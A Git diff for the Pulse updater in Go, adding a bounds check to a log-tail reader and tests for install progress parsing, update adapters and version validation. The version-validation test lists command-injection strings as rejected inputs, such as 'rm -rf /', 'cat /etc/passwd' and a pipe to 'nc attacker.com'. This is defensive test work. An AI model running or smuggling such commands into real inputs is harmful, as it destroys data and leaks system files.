diff --git a/internal/updates/adapter_installsh.go b/internal/updates/adapter_installsh.go index bfbfd26..8ae3543 100644 --- a/internal/updates/adapter_installsh.go +++ b/internal/updates/adapter_installsh.go @@ -617,6 +617,10 @@ func (a *InstallShAdapter) parseProgress(line string) UpdateProgress { // readLastLines reads the last N lines from a file func (a *InstallShAdapter) readLastLines(filepath string, n int) string { + if n <= 0 { + return "" + } + file, err := os.Open(filepath) if err != nil { return "" diff --git a/internal/updates/adapter_installsh_test.go b/internal/updates/adapter_installsh_test.go new file mode 100644 index 0000000..920d176 --- /dev/null +++ b/internal/updates/adapter_installsh_test.go @@ -0,0 +1,497 @@ +package updates + +import ( + "os" + "path/filepath" + "regexp" + "testing" +) + +func TestInstallShAdapter_ParseProgress(t *testing.T) { + adapter := &InstallShAdapter{} + + tests := []struct { + name string + line string + wantStage string + wantProgress int + wantMessage string + wantIsComplete bool + }{ + // Downloading stage + { + name: "downloading lowercase", + line: "downloading pulse binary...", + wantStage: "downloading", + wantProgress: 30, + wantMessage: "Downloading update...", + }, + { + name: "downloading uppercase", + line: "DOWNLOADING files from GitHub", + wantStage: "downloading", + wantProgress: 30, + wantMessage: "Downloading update...", + }, + { + name: "downloading mixed case", + line: "Downloading release v1.2.3", + wantStage: "downloading", + wantProgress: 30, + wantMessage: "Downloading update...", + }, + + // Extracting stage + { + name: "extracting lowercase", + line: "extracting tarball...", + wantStage: "extracting", + wantProgress: 40, + wantMessage: "Extracting files...", + }, + { + name: "extracting in sentence", + line: "Now extracting the archive to /opt/pulse", + wantStage: "extracting", + wantProgress: 40, + wantMessage: "Extracting files...", + }, + + // Installing stage + { + name: "installing lowercase", + line: "installing pulse binary...", + wantStage: "installing", + wantProgress: 60, + wantMessage: "Installing...", + }, + { + name: "installing uppercase", + line: "INSTALLING to /opt/pulse/bin", + wantStage: "installing", + wantProgress: 60, + wantMessage: "Installing...", + }, + + // Backup stage + { + name: "backup lowercase", + line: "backup created at /etc/pulse.bak", + wantStage: "backing-up", + wantProgress: 25, + wantMessage: "Creating backup...", + }, + { + name: "backup with path", + line: "Creating backup: /var/backup/pulse-20231201", + wantStage: "backing-up", + wantProgress: 25, + wantMessage: "Creating backup...", + }, + + // Configuring stage + { + name: "configuring lowercase", + line: "configuring systemd service...", + wantStage: "configuring", + wantProgress: 70, + wantMessage: "Configuring...", + }, + { + name: "configuration partial match", + line: "configuration files updated", + wantStage: "configuring", + wantProgress: 70, + wantMessage: "Configuring...", + }, + + // Restarting stage + { + name: "restart lowercase", + line: "restart pulse service...", + wantStage: "restarting", + wantProgress: 90, + wantMessage: "Restarting service...", + }, + { + name: "restarting", + line: "restarting the pulse service", + wantStage: "restarting", + wantProgress: 90, + wantMessage: "Restarting service...", + }, + + // Completed stage + { + name: "completed lowercase", + line: "update completed", + wantStage: "completed", + wantProgress: 100, + wantMessage: "Update completed", + wantIsComplete: true, + }, + { + name: "complete partial", + line: "Installation complete!", + wantStage: "completed", + wantProgress: 100, + wantMessage: "Update completed", + wantIsComplete: true, + }, + { + name: "success", + line: "success: pulse has been updated", + wantStage: "completed", + wantProgress: 100, + wantMessage: "Update completed", + wantIsComplete: true, + }, + { + name: "successfully", + line: "Pulse updated successfully!", + wantStage: "completed", + wantProgress: 100, + wantMessage: "Update completed", + wantIsComplete: true, + }, + + // No match cases + { + name: "empty string", + line: "", + wantStage: "", + wantProgress: 0, + wantMessage: "", + }, + { + name: "unrelated output", + line: "checking permissions...", + wantStage: "", + wantProgress: 0, + wantMessage: "", + }, + { + name: "version info", + line: "Current version: v1.2.3", + wantStage: "", + wantProgress: 0, + wantMessage: "", + }, + { + name: "random log line", + line: "2024-01-01 12:00:00 INFO Starting update process", + wantStage: "", + wantProgress: 0, + wantMessage: "", + }, + + // Note: map iteration order is not guaranteed, so when multiple + // patterns match, any of them could be returned. This tests the + // behavior for lines that only match one pattern. + { + name: "only downloading matches", + line: "downloading files from server", + wantStage: "downloading", + wantProgress: 30, + wantMessage: "Downloading update...", + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + result := adapter.parseProgress(tc.line) + + if result.Stage != tc.wantStage { + t.Errorf("Stage = %q, want %q", result.Stage, tc.wantStage) + } + if result.Progress != tc.wantProgress { + t.Errorf("Progress = %d, want %d", result.Progress, tc.wantProgress) + } + if result.Message != tc.wantMessage { + t.Errorf("Message = %q, want %q", result.Message, tc.wantMessage) + } + if result.IsComplete != tc.wantIsComplete { + t.Errorf("IsComplete = %v, want %v", result.IsComplete, tc.wantIsComplete) + } + }) + } +} + +func TestInstallShAdapter_ReadLastLines(t *testing.T) { + adapter := &InstallShAdapter{} + + tests := []struct { + name string + content string + n int + expected string + }{ + { + name: "read last 3 lines from 5 line file", + content: "line1\nline2\nline3\nline4\nline5", + n: 3, + expected: "line3\nline4\nline5", + }, + { + name: "read last 5 lines from 3 line file", + content: "line1\nline2\nline3", + n: 5, + expected: "line1\nline2\nline3", + }, + { + name: "read last 1 line", + content: "line1\nline2\nline3", + n: 1, + expected: "line3", + }, + { + name: "read last 0 lines returns empty", + content: "line1\nline2\nline3", + n: 0, + expected: "", + }, + { + name: "empty file", + content: "", + n: 5, + expected: "", + }, + { + name: "single line file", + content: "only line", + n: 3, + expected: "only line", + }, + { + name: "file with trailing newline", + content: "line1\nline2\nline3\n", + n: 2, + expected: "line2\nline3", + }, + { + name: "large n value", + content: "a\nb\nc", + n: 1000, + expected: "a\nb\nc", + }, + { + name: "negative n returns empty", + content: "line1\nline2", + n: -1, + expected: "", + }, + { + name: "lines with special characters", + content: "error: failed!\nwarning: [WARN]\ninfo: done", + n: 2, + expected: "warning: [WARN]\ninfo: done", + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + // Create temp file with content + tmpDir := t.TempDir() + tmpFile := filepath.Join(tmpDir, "test.log") + + if tc.content != "" { + if err := os.WriteFile(tmpFile, []byte(tc.content), 0644); err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + } else { + // Create empty file + f, err := os.Create(tmpFile) + if err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + f.Close() + } + + result := adapter.readLastLines(tmpFile, tc.n) + + if result != tc.expected { + t.Errorf("readLastLines() = %q, want %q", result, tc.expected) + } + }) + } +} + +func TestInstallShAdapter_ReadLastLines_FileNotFound(t *testing.T) { + adapter := &InstallShAdapter{} + + result := adapter.readLastLines("/nonexistent/path/file.log", 5) + + if result != "" { + t.Errorf("readLastLines() for nonexistent file = %q, want empty string", result) + } +} + +func TestVersionPatternValidation(t *testing.T) { + // This tests the version pattern used in Execute() for command injection prevention + versionPattern := regexp.MustCompile(`^v?\d+\.\d+\.\d+(?:-[a-zA-Z0-9.-]+)?(?:\+[a-zA-Z0-9.-]+)?$`) + + tests := []struct { + version string + valid bool + }{ + // Valid versions + {"1.0.0", true}, + {"v1.0.0", true}, + {"0.0.1", true}, + {"v0.0.1", true}, + {"10.20.30", true}, + {"v10.20.30", true}, + {"1.2.3-alpha", true}, + {"v1.2.3-alpha", true}, + {"1.2.3-beta.1", true}, + {"v1.2.3-beta.1", true}, + {"1.2.3-rc1", true}, + {"v1.2.3-rc1", true}, + {"1.2.3-alpha.beta.gamma", true}, + {"1.2.3+build", true}, + {"v1.2.3+build", true}, + {"1.2.3+build.123", true}, + {"1.2.3-alpha+build", true}, + {"v1.2.3-alpha+build.456", true}, + + // Invalid versions - potential injection attempts + {"1.0.0; rm -rf /", false}, + {"1.0.0 && cat /etc/passwd", false}, + {"1.0.0 | nc attacker.com 1234", false}, + {"$(whoami)", false}, + {"`id`", false}, + {"1.0.0\nmalicious", false}, + {"1.0.0$(touch /tmp/pwned)", false}, + {"../../../etc/passwd", false}, + {"", false}, + {"v", false}, + {"1", false}, + {"1.0", false}, + {"1.0.0.0", false}, + {"v1.0.0.0", false}, + {"latest", false}, + {"master", false}, + {"main", false}, + {"HEAD", false}, + {"1.0.0-", false}, // trailing dash + {"1.0.0+", false}, // trailing plus + {"-1.0.0", false}, // leading dash + {"v-1.0.0", false}, // invalid prefix + {"V1.0.0", false}, // uppercase V not allowed + {"1.0.0--alpha", true}, // double dash allowed (not a security risk) + {"1.0.0++build", false}, // double plus + {"1.0.0-alpha_1", false}, // underscore not allowed in prerelease + {"1.0.0+build_1", false}, // underscore not allowed in build metadata + } + + for _, tc := range tests { + t.Run(tc.version, func(t *testing.T) { + result := versionPattern.MatchString(tc.version) + if result != tc.valid { + t.Errorf("version %q: got valid=%v, want valid=%v", tc.version, result, tc.valid) + } + }) + } +} + +func TestDockerUpdater(t *testing.T) { + updater := NewDockerUpdater() + + t.Run("SupportsApply", func(t *testing.T) { + if updater.SupportsApply() { + t.Error("DockerUpdater should not support auto apply") + } + }) + + t.Run("GetDeploymentType", func(t *testing.T) { + if updater.GetDeploymentType() != "docker" { + t.Errorf("GetDeploymentType() = %q, want %q", updater.GetDeploymentType(), "docker") + } + }) + + t.Run("Execute returns error", func(t *testing.T) { + err := updater.Execute(nil, UpdateRequest{}, nil) + if err == nil { + t.Error("Execute() should return error for docker deployments") + } + }) + + t.Run("Rollback returns error", func(t *testing.T) { + err := updater.Rollback(nil, "event-123") + if err == nil { + t.Error("Rollback() should return error for docker deployments") + } + }) +} + +func TestAURUpdater(t *testing.T) { + updater := NewAURUpdater() + + t.Run("SupportsApply", func(t *testing.T) { + if updater.SupportsApply() { + t.Error("AURUpdater should not support auto apply") + } + }) + + t.Run("GetDeploymentType", func(t *testing.T) { + if updater.GetDeploymentType() != "aur" { + t.Errorf("GetDeploymentType() = %q, want %q", updater.GetDeploymentType(), "aur") + } + }) + + t.Run("Execute returns error", func(t *testing.T) { + err := updater.Execute(nil, UpdateRequest{}, nil) + if err == nil { + t.Error("Execute() should return error for AUR deployments") + } + }) + + t.Run("Rollback returns error", func(t *testing.T) { + err := updater.Rollback(nil, "event-123") + if err == nil { + t.Error("Rollback() should return error for AUR deployments") + } + }) +} + +func TestInstallShAdapter_SupportsApply(t *testing.T) { + adapter := &InstallShAdapter{} + + if !adapter.SupportsApply() { + t.Error("InstallShAdapter should support auto apply") + } +} + +func TestInstallShAdapter_GetDeploymentType(t *testing.T) { + adapter := &InstallShAdapter{} + + if adapter.GetDeploymentType() != "systemd" { + t.Errorf("GetDeploymentType() = %q, want %q", adapter.GetDeploymentType(), "systemd") + } +} + +func TestNewInstallShAdapter(t *testing.T) { + adapter := NewInstallShAdapter(nil) + + if adapter == nil { + t.Fatal("NewInstallShAdapter returned nil") + } + + if adapter.installScriptURL == "" { + t.Error("installScriptURL should not be empty") + } + + if adapter.logDir == "" { + t.Error("logDir should not be empty") + } + + expectedURL := "https://github.com/rcourtman/Pulse/releases/latest/download/install.sh" + if adapter.installScriptURL != expectedURL { + t.Errorf("installScriptURL = %q, want %q", adapter.installScriptURL, expectedURL) + } + + expectedLogDir := "/var/log/pulse" + if adapter.logDir != expectedLogDir { + t.Errorf("logDir = %q, want %q", adapter.logDir, expectedLogDir) + } +}